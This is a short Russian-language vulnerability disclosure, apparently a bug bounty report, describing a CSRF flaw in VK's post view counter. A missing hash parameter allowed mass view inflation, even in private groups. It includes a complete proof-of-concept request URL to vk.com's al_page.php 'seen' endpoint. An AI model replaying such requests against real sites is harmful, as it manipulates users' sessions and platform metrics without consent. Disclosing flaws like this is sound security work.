CSRF Добавить просмотр к записи без ведома пользователя.

Summary

Отсутствие параметра hash при учете просмотра записей.

Отсутствовал параметр hash при учете просмотра записей.

Можно было вести массовую накрутку просмотров на посты. При этом просмотры крутились даже в частную группу, несмотря на то, что у нас к ней не было доступа.

POC выглядел так:

https://vk.com/al_page.php?act=seen&al=1&data=238237355_r268%3A767%3A16%3A1241520615%3B275012519_r1964%3A196%3A21%3A1241520615%2Cr1965%3A1144%3A19%3A1241520615%3B277885767_r564%3A-1%3A22%3A1241520615%3B283004407_r4390%3A516%3A18%3A1241520615%3B305469601_r668%3A744%3A20%3A1241520615%3B322118449_r2163%3A800%3A17%3A1241520615%3B370186213_r382%3A-1%3A23%3A1241520615%3B-56325271_r-189765%3A800%3A17%3A1241520615%3B-113966722_r-15672%3A1144%3A19%3A1241520615%2Cr-15685%3A196%3A21%3A1241520615%3B-150313924_r-1981%3A744%3A20%3A1241520615%3B-150706218_r-21%3A-1%3A23%3A1241520615